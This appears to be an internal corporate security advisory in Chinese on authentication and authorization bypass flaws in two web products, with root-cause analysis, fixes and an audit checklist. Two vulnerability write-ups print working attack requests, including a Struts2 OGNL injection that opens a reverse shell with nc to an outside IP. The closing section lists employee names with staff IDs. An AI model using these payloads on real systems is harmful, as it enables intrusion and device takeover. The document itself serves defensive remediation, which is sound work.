**修订记录Revision record**

|  |  |  |  |  |
| --- | --- | --- | --- | --- |
| 日期  Date | 修订版本Revision version | 修改描述  change Description | 作者  Author | 审核 |
| 2015-07-09 | 0.1 | 初稿完成 | 余志刚 |  |
| 2015-07-14 | 0.2 | 增加 | 余志刚、陆晓辉 | 李花、叶文忠、张淼、李科 |
| 2015-07-21 | 0.5 | 1、修改Java下正确的URL获取方法  2、增加推荐解决方案  3、修改排查结果反馈格式  4、修改排查指导的描叙 | 余志刚、陆晓辉 | 何伟祥、李花、叶文忠、杨淑秋、刘金刚、张淼、李科 |
| 2015-07-30 | 1.0 | “4 推荐解决方案”中“认证判断”细化为“判断是否需要认证”和“判断是否已认证”方法 | 余志刚、李花 |  |
|  |  |  |  |  |

# 背景

近期ICSL在对公司产品测试过程中，发现两款Web产品存在致命的认证、鉴权被绕过漏洞。其中一款产品是基于Java开发的主机型Web应用，一款是基于CGI的嵌入型Web应用。

在6月份将这两个漏洞给UK专家汇报后，UK专家认为：认证、鉴权、会话管理，是WEB系统典型的场景，对于一些业界成熟的方案，华为总想根据应用场景，做一些修改并自行进行开发，但同时引入很多严重的安全风险。建议华为对现有产品做排查，并应直接应用业界成熟的实践。

# 漏洞案例

## 某主机型Web认证鉴权被绕过

|  |  |  |  |
| --- | --- | --- | --- |
| \*\*产品WEB页面登录权限校验漏洞技术分析报告 | | | |
| **安全问题编号** |  | **日期** | 2015-5-11 |
| **严重级别** | 严重 | | |
| **产品简介** | | | |
| 某产品Web系统。 | | | |
| **问题所在模块功能、使用场景说明** | | | |
| 该产品的web管理系统，正常场景下需要用户登录并且具有相应的操作授权之后才可以进行各种管理工作。但是该系统中的用户认证和权限校验模块逻辑存在漏洞,可以构造异常的HTTP报文绕过系统的认证和鉴权系统。 | | | |
| **问题代码片段：**  **认证过滤器逻辑漏洞：**        **权限过滤器逻辑漏洞：**    **TOKEN代码漏洞：** | | | |
| **漏洞验证流程** | | | |
|  | | | |
| **问题详细技术分析** | | | |
| **安全问题分析：**   1. 正常情况下，Server端必须对每一个业务操作先进行认证，再进行权限检查，然后对重要操作再进行CSRF防护检查（例如：Token校验），才能完成业务操作； 2. 在异常的情况下,攻击者构造特殊报文，模拟Ajax请求，构造的Url中针对用户认证、权限校验、CSRF Token校验的特例情况（例如：不严谨的白名单/黑名单）进行关键字的利用，提升权限，执行恶意操作，其中一个可以攻击成功的Url如下：   requestURI:https//ip/path/login.action/../business.action;logout.action?BMECIDClosing=1&BMECIDClear=#writer=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),#writer.println(‘hacked by web@icsl’),#aa=@java.lang.Runtime@getRuntime().exec(“nc -e /bin/bash 172.0.87.78 12345”), #writer.close(),username   1. 用户认证检查时，通过判断Url的路径以logout.action结尾，跳过该过滤器（未校验会话信息）； 2. 用户认证记录模块，检测到该请求是ajax请求（伪造http头部X-Requested-With: XMLHttpRequest），跳过用户认证的记录部分； 3. 用户权限控制模块检测到url输入参数中存在BMECIDCLosing变量，误以为是页面关闭事件，跳过权限检查； 4. 在TOKEN检查类中，检查url路径以login.action开头，误以为该请求是白名单中的login.action，跳过Token检查； 5. 非法用户最终成功绕过系统的访问控制并且利用了struts的ognl注入漏洞执行了OS命令。 | | | |
| **对业务的影响** | | | |
| **利用该漏洞，攻击者可以绕过该系统的认证和鉴权机制，执行非法操作。** | | | |
| **解决方案** | | | |
| 在获取uri时，将String uri = request.getRequestURI();替换为：  String uri = request.getContextPath()+request.getServletPath();  String pathInfo = request.getPathInfo();  if (pathInfo != null) {  uri = uri + pathInfo;  }  对logout.action的访问需要先进行认证判断（在访问logout.action时先校验会话信息）  在判断login.action时，采用url精确匹配方案（requestURI中不能带入ContextPath）：  将requestURI.startsWith(loginURL) 改为requestURI.equals(loginURL)  在权限控制模块中修改逻辑判断，将原有的判断逻辑  if (null != httpRequest.getParameter("BMECIDClosing"))  修改为双逻辑判断，使用精确匹配方案：  If (null != httpRequest.getParameter("BMECIDClosing")) && requestURI.equals ("business.action"))  若使用Url的模糊匹配，请使用url pattern方式，描述为/\*\*/business.action | | | |

## 某嵌入型Web认证鉴权被绕过

|  |  |  |  |
| --- | --- | --- | --- |
| \*\*产品WEB页面登录权限校验漏洞技术分析报告 | | | |
| **安全问题编号** |  | **日期** | 2015-5-11 |
| **严重级别** | 致命 | | |
| **产品简介** | | | |
| 某嵌入式网络盒子设备。 | | | |
| **问题所在模块功能、使用场景说明** | | | |
| 该盒子提供了WEB管理的功能, 正常场景下需要正确的用户名和密码登陆系统之后才可以修改或者查询数据; 但是由于系统登陆认证的模块逻辑存在漏洞,可以构造异常的HTTP报文绕过系统的认证和鉴权,直接查看或者修改设备的数据。 | | | |
| **问题代码片段：**  HW\_UINT32 HW\_WEB\_IsNoAuthPage(const HW\_CHAR8 \*pcUrl)  {  HW\_CHAR8 acCompareUrl[WEB\_URL\_LENGTH] = {0};  HW\_CHAR8 \*pcEndChar = HW\_NULL\_PTR;  HW\_CHAR8 \*pcStartChar = g\_stCustomWebConfig.acNoAuthPage;  HW\_UINT32 uiLen = HW\_NULL;  /\* 参数校验 \*/  if (HW\_NULL\_PTR == pcUrl)  {  HW\_WAP\_LAST\_WORD(HW\_WEB\_ERR\_PARA\_NULL, 0, 0, 0, 0);  return HW\_FALSE;  }  /\* 只输入ip的url不需要鉴权 \*/  if (HW\_NULL == HW\_OS\_StrCmp(pcUrl, "/")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".gif")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".jpg")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".css")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "md5.js")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "sha256.js")  || HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "favicon.ico"))  {  return HW\_TRUE;  }  …………………………………..  }  **webParseRequestLine函数部分代码片段** | | | |
| **漏洞验证流程** | | | |
|  | | | |
| **问题详细技术分析** | | | |
| **安全问题分析：**   1. 正常情况下，WEB 处理模块对一些前台资源不需要进行认证及权限检查(譬如css文件,图片文件等);只对配置类以及查询类的资源进行认证及权限检查； 2. 异常情况下,攻击者构造的请求中包含不需要进行认证及权限校验的文件特征, 针对用户认证、权限校验的特例情况，进行关键字利用，提升权限，直接查看或者修改设备的数据，其中一个可以攻击成功的请求如下所示：   GET /**1.css**///login.cgi HTTP/1.1  Host: 192.168.100.1  Proxy-Connection: keep-alive  Content-Length: 2  Accept: \*/\*  Origin: http://192.168.100.1  X-Requested-With: XMLHttpRequest  User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHML, like Gecko) Chrome/39.0.2171.95 Safari/537.36  Referer: http://192.168.100.1/index.asp  Accept-Encoding: gzip, deflate  Accept-Language: zh-CN,zh;q=0.8,en;q=0.6   1. 认证检查时，上述的URL包含了.css， 系统处理逻辑就认为是不需要认证的操作。 2. WEB模块过滤掉“/”前的字符串， 找到了正常的login.cgi请求，并为用户创建会话，返回会话ID。 3. 非法用户可以绕过认证，成功以任意身份（包括管理员身份）接入系统，进而完全控制Web管理系统。 | | | |
| **对业务的影响** | | | |
| **利用该漏洞，可以越权查看设备信息以及对设备进行配置，造成设备业务中断，配置泄露。** | | | |
| **产品解决方案** | | | |
| **左边是原代码，右边是修改后的代码** | | | |

# 根因分析

## 未充分使用成熟的Web框架及其认证、鉴权机制

产品自己开发实现认证、鉴权机制，且对URL中包含特定关键字的HTTP请求做了例外处理（如Login.action、.css、.jpg等），但是处理逻辑又不严谨，导致出现URL未标准化、遗漏URL检查、处理低效等问题。产品决定使用成熟Web框架的时候，必须充分使用Web框架本身的认证、鉴权机制，实行集中的认证、鉴权。不要对框架的完整认证、鉴权机制做不恰当的裁剪。

## 依赖未标准化的URL路径做为认证、鉴权判断依据

产品目前很多认证、鉴权代码是自己实现的，容易出现使用未标准化的URL做为认证、鉴权的判断依据。如Java语言中使用request.getRequestURL()或request.getRequestURI()获取未标准化得请求url，然后做关键字匹配，作为认证、鉴权的判断依据，就很容易绕过认证、鉴权判断（例如恶意输入/aaa/bb/../../，而以“/aaa/bb/”开头的url被认为是可信url，这种场景就存在绕过认证鉴权判断）。

## 依赖不严谨的局部或模糊匹配做为认证、鉴权判断依据

产品目前URL判断逻辑不一致且比较简单（有些是关键字从头匹配，有些是关键字从结尾匹配，有些是关键字从中间匹配）。如使用C语言的strstr()函数，java语言的subString()、startsWith()、endsWith()等函数，只是做部分特征的模式匹配。产品必须使用标准的匹配机制（ 如url-pattern ）。梳理并规划Web的URL，将需要登录才能访问的URL与不需要登录就能访问的URL分离。对于需要登录才能访问的URL，使用url-pattern进行尽量精确的匹配。

## 认证、鉴权白名单设置不合理或有遗漏

产品在应用系统中有一些页面和资源是允许匿名访问的（如常见的.jpg，.gif，.css静态文件），也就不需要进行认证和鉴权，对这样的匿名访问资源系统中维护有一份白名单列表，产品对白名单设置不合理，导致系统漏洞。如案例2.1中将logout.action设置为无需认证就可以访问，且匹配规则不严谨，导致恶意构造的URL中含有logout.action特征，绕过了正常认证机制。且对ajax请求做了例外处理，认为无需鉴权，且判断依据只是根据HTTP请求头中是否存在：X-Requested-With: XMLHttpRequest 。产品必须梳理系统中可匿名访问的页面和资源，确认这些页面和资源是否会泄露敏感数据，被匿名访问是否合理。对于需要控制访问权限的页面和资源，确认是否都做了合理的权限检查，是否有遗漏权限检查的页面和资源。

# 推荐解决方案

**前置条件：**

1. 将允许匿名访问（不需认证）的页面/资源（如常见的.jpg，.gif，.css静态文件）梳理清楚，维护一份清晰的**可匿名访问的页面/资源白名单列表**。
2. 将允许无需鉴权（所有认证用户都有权限访问）即可访问的页面/资源梳理清楚，维护一份清晰的**无需鉴权即可访问的页面/资源白名单列表**。



认证、鉴权、会话管理，是WEB系统典型的场景，请优先使用Web容器、开发框架和一些业界成熟的安全解决方案（如Spring Security、Apache shiro等）提供的机制，尽量避免自研认证、鉴权、会话管理模块，如果因为特殊原因需要自研，请遵照上图推荐的业务处理流程和方法，处理用户认证、鉴权流程。

## URL标准化

Java语言：使用request.getContextPath()+request.getServletPath()+request.getPathInfo()替换request.getRequestURL()或request.getRequestURI()获取URL信息。

String uri = request.getContextPath()+request.getServletPath();

String pathInfo = request.getPathInfo();

if (pathInfo != null) {

uri = uri + pathInfo;

}

或者使用URI类的normalize（）

**import java.net.URI;**

**import java.net.URISyntaxException;**

**public class Main {**

**public static void main(String[] args) throws URISyntaxException {**

**URI uri = new URI("http://java2s.com/./");**

**System.out.println("Normalized URI = " + uri.normalize());**

**}**

**}**

C/C++语言：语言本身不提供URL标准化的函数，但一些广泛使用的C/C++开发库提供，如：[POCO C++ Libraries提供URI. normalize()](http://pocoproject.org/docs/Poco.URI.html)，[google-url project](http://code.google.com/p/google-url/)也提供类似功能。

URL标准化参考：<https://en.wikipedia.org/wiki/URL_normalization>

## 判断是否需要认证

### 采用较精确的url-pattern或URL全路径匹配

梳理并规划Web的页面及资源，将需要登录才能访问的URL与不需要登录就能访问的URL分离，使用Java开发的应用可以使用url-pattern进行较精确的模糊匹配。基于CGI的嵌入式系统可以采用较严格的URL路径匹配，尽量匹配全路径，而不是只匹配后缀名或文件名。应尽量增加上斜杠**（/）**及目录信息的匹配。

**url-pattern:**

The mapping matches URLs using the following rules:

? matches one character

\* matches zero or more characters

\*\* matches zero or more directories in a path

Examples

com/t?st.jsp — matches com/test.jsp but also com/tast.jsp or com/txst.jsp

com/\*.jsp — matches all .jsp files in the com directory

com/\*\*/test.jsp — matches all test.jsp files underneath the com path

org/ com/\*\*/\*.jsp — matches all .jsp files underneath the org/com path

### 设置合理的认证白名单

将Web系统的页面及资源做好匿名访问、认证访问区域划分，从访问目录上进行隔离。常见的可匿名访问的资源包括：图片、CSS、JS等静态文件、系统主页、用户登录页面等。对于其他页面资源应谨慎设置认证白名单。

## 判断是否已认证

对于需要认证才能访问的页面或资源，在Web应用中需要对请求中的会话信息（SessionID）进行校验，主要的判断有两层：

* 判断请求是否带有会话信息(SessionID)。如果没有会话信息则表示该请求未经过认证，需要引导用户重新认证。
* 请求附带的会话信息（SessionID）在服务端是否合法有效。如果会话信息存在，但不是服务端合法会话，也需要引导用户重新认证。

## 鉴权模块

### 从服务端获取用户身份信息

用户身份及角色信息保存在服务端会话信息中，需要做决策的时候从会话信息中获取，不依赖客户端提交的用户身份信息（比如cookie或隐藏域中）

### 采用较精确的url-pattern或URL全路径匹配

同4.2.1

### 采用白名单鉴权机制

推荐使用白名单机制实现权限控制，对未找到权限配置的页面及资源，默认禁止访问

# 排查范围及工具

**排查范围：**所有涉及Web应用的自研产品（此次排查不涉及第三方系统）。

**排查模块：**Web应用系统的系统认证、用户鉴权、访问控制模块。

**排查内容：**排查认证、鉴权、访问控制模块实现代码及配置文件，确保Web应用系统不存在认证、鉴权、访问控制被绕过漏洞。

**排查工具：**为了方便产品的排查，提高排查效率，能力中心在敏感词搜索工具中定制了此次排查的关键词，可以帮助产品将排查范围相对缩小。具体工具下载及使用说明见：<http://10.175.45.132:8080/nsccp-portal/topic/toTopicReply?topicId=2864>。

使用敏感词搜索工具时请使用“Weak authentication and authorization”敏感词模板，对认证、鉴权、访问控制模块实现代码执行搜索，对搜索到关键词的上下文代码请按第六章的排查指导内容重点排查。

# 排查指导



## 排查Web应用系统中的认证、鉴权模块是否自研。

* **认证、鉴权模块使用了业界成熟的框架（如：Spring Security、Shiro等）提供的认证、鉴权机制。**

对于使用业界成熟框架的应用请重点做好6.4的排查。确保系统的权限设置合理全面，没有遗漏。

* **产品自研认证、鉴权模块。**

对于自研认证、鉴权模块的产品，需认真做好6.2、6.3的排查，确保认证、鉴权模块代码实现逻辑的严谨，权限设置的合理全面。

## 排查自研认证模块中认证白名单的实现

Web应用系统中总有一些页面和资源是允许匿名访问的（如常见的.jpg，.gif，.css静态文件），也就不需要进行认证和鉴权，对这样的匿名访问资源系统中往往维护有一份白名单列表，对白名单的实现逻辑和白名单列表需要重点排查。排查项目包括但不限于：

* **认证白名单是否依赖未标准化的URL作为判断依据。**

重点排查Java语言中request.getRequestURL()或request.getRequestURI()的使用，C语言开发的CGI中请确认是否做了URL标准化处理。如果未作URL标准化操作，请确认是否存在可通过URL操作绕过认证的场景。

案例2.1:使用request.getRequestURL()或request.getRequestURI()获取URL地址做为判断依据， URL：ip/path/login.action**/../**business.action;logout.action?BMECIDClosing=1。

案例2.2：使用未做任何标准化的URL做为判断依据， URL：/**1.css///**login.cgi。

**解决方案：**参见4.1

* **认证白名单是否依赖局部或模糊匹配作为判断依据。**

重点排查逻辑判断时Java语言中subString()、startsWith()、endsWith()、contains、indexOf等函数的使用。C语言中strstr()函数，C++中string.substr()的使用。排查白名单的判断逻辑是否正确、全面，是否会发生通过简单特征构造就可绕过认证的场景。

案例2.1:使用endsWith() 局部匹配“logout.action”作为是否认证的判断依据requestURL.endsWith(LOGOUT\_URL)

案例2.2：使用HW\_OS\_StrStr()局部匹配“.css”等来作为是否需要认证的判断依据

if (HW\_NULL == HW\_OS\_StrCmp(pcUrl, "/")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".gif")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".jpg")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, ".css")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "md5.js")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "sha256.js")

|| HW\_NULL\_PTR != HW\_OS\_StrStr(pcUrl, "favicon.ico"))

{

return HW\_TRUE;

}

**解决方案：**参见4.2.1

* **认证白名单是否设置合理。**

重点排查系统中设置的可匿名访问的页面和资源，确认这些页面和资源是否会泄露敏感数据，被匿名访问是否合理。

案例2.1: 该产品设置登出操作“logout.action”为白名单，可匿名访问。且判断逻辑不严谨，导致认证被绕过。

**解决方案：**参见4.2.2

## 排查自研鉴权机制的实现

Web应用系统中用户通过认证后需要做进一步的用户角色、权限的判断及鉴权，系统一般维护着一份用户角色权限及可访问资源对应表，其中很重要的决策依据也是依赖对URL的判断。对权限判断的实现逻辑需要做重点排查。排查项目包括但不限于：

* **是否依赖客户端提交信息作为用户身份决策依据。**

**解决方案：**参见4.3.1

* **作为鉴权决策的URL是否可靠。**

排查方法同6.2中的URL标准化。

* **鉴权决策是否依赖局部或模糊匹配作为判断依据。**

排查方法同6.2中的模糊匹配。

* **权限设置是否有遗漏**

排查系统的权限配置列表是否覆盖了Web系统中的所有页面及资源，是否有遗漏。

**解决方案：**参见4.3.3

## 排查认证、鉴权配置是否合理、全面

业界成熟的安全框架（如：Spring Security、Shiro等）都提供了较完善的认证、鉴权机制，代码质量和逻辑都经过了广泛的使用和验证。但对于认证、鉴权功能的实现往往依赖具体的安全配置，在产品配置过程中有可能会发生遗漏。应对相应的安全配置文件做重点排查。排查项目包括但不限于：

* 匿名访问资源配置是否合理。常见的可匿名访问的资源包括：图片、CSS、JS等静态文件、系统主页、用户登录页面等。对于其他页面资源应谨慎设置匿名访问，防止敏感数据泄漏及认证被绕过。
* 权限检查配置是否无遗漏。是否对所有非匿名访问资源都设置了对应的权限检查机制？对于配置文件中未设置权限检查的页面和资源采取阻断还是放行？

**解决方案：**使用了框架的产品尽量使用框架的白名单机制，默认阻止对未配置权限控制的页面及资源的访问，减少出现遗漏的可能。

# 结果反馈

## 排查完成后请各产品如实反馈排查过程中发现的共性问题，各BU的排查结果统一反馈到BU安全办公室接口人处汇总，具体反馈格式请参考以下表格：



## 对于共性问题排查出来的产品漏洞，由漏洞管理部和安全办公室组织分析后再决定后续处理流程。

# 技术支持与IT电子流支持

## BU安全工程部接口人

各个技术问题请咨询BU安全工程部接口人，漏洞处理策略和报备问题请联系并咨询BU安全办公室接口人，详细如下表：

|  |  |  |  |
| --- | --- | --- | --- |
| **BU** | **BU安全办公室接口人** | **BU安全工程部问题排查接口人** | **BU安全工程部安全设计支撑接口人** |
| 无线产品线 | 董继征 124634 | 胡占锋 239612 | 胡占锋 239612 |
| 固定网络产品线 | 王勋 215758 | 吴涛 230603 | 魏建雄 222905 |
| 电信软件业务部 | 廖兴亚 239334 | 肖湘 289145 | 姚辉 195967 |
| 核心网产品线 | 柳林红 256470 | 李方展 302306 | 李方展 302306 |
| 网络能源产品线 | 蒋滔 117283 | 詹松烈 173034 | 詹松烈 173034 |
| 交换机与企业通信产品线 | 刘俊华 118090 | 王瑾 90003828 | 杨志成 175422 |
| IT产品线 | 欧日军 246947 | 李世亮 90005514 | 徐秀兰 301387 |
| SPO | 李丹娜 330333 | 张宁 238449 | 张宁 238449 |
| 鼎桥 | 周童 WX36170 | 闫锐 WX10467 | 闫锐 WX10467 |
| 2012-中央软件 | 魏巍 00256168 | 王海涛00203029 |  |
| 2013-中央硬件 | 施文超00109740 |  |  |
| 2012实验室-研发能力中心 | 钟清莲 00116293 | 钟清莲z00116293 |  |
| 2012实验室-海思 | 潘时林 00256039 | 吴开涛w00113138 |  |
| 消费者-终端 | 石秀凤 |  |  |
| 消费者-MBB | 叶小玲 |  |  |
| 2012实验室 | wangshuyan00285782 |  |  |

## PDM电子流

PDM电子流问题，请咨询PSIRT，联系人如下：

|  |
| --- |
| **PSIRT漏洞处理PDM电子流问题咨询** |
| Wanglijun 00295131 |
| Zhanliwei 00104642 |
| Zhangyan 90004009 |
| Liujingang 90003178 |
| Kangxinqiang 00291244 |
| zhangyanyang 00234174 |

## 漏洞排查技术专家支持

漏洞排查过程中有技术问题及漏洞修复问题可咨询安全能力中心，联系人如下：

张淼00102211 李科00316555 余志刚 00311016 张扬00291253 陆晓辉90003282

## 敏感词搜索工具技术支持

刘皓 90006223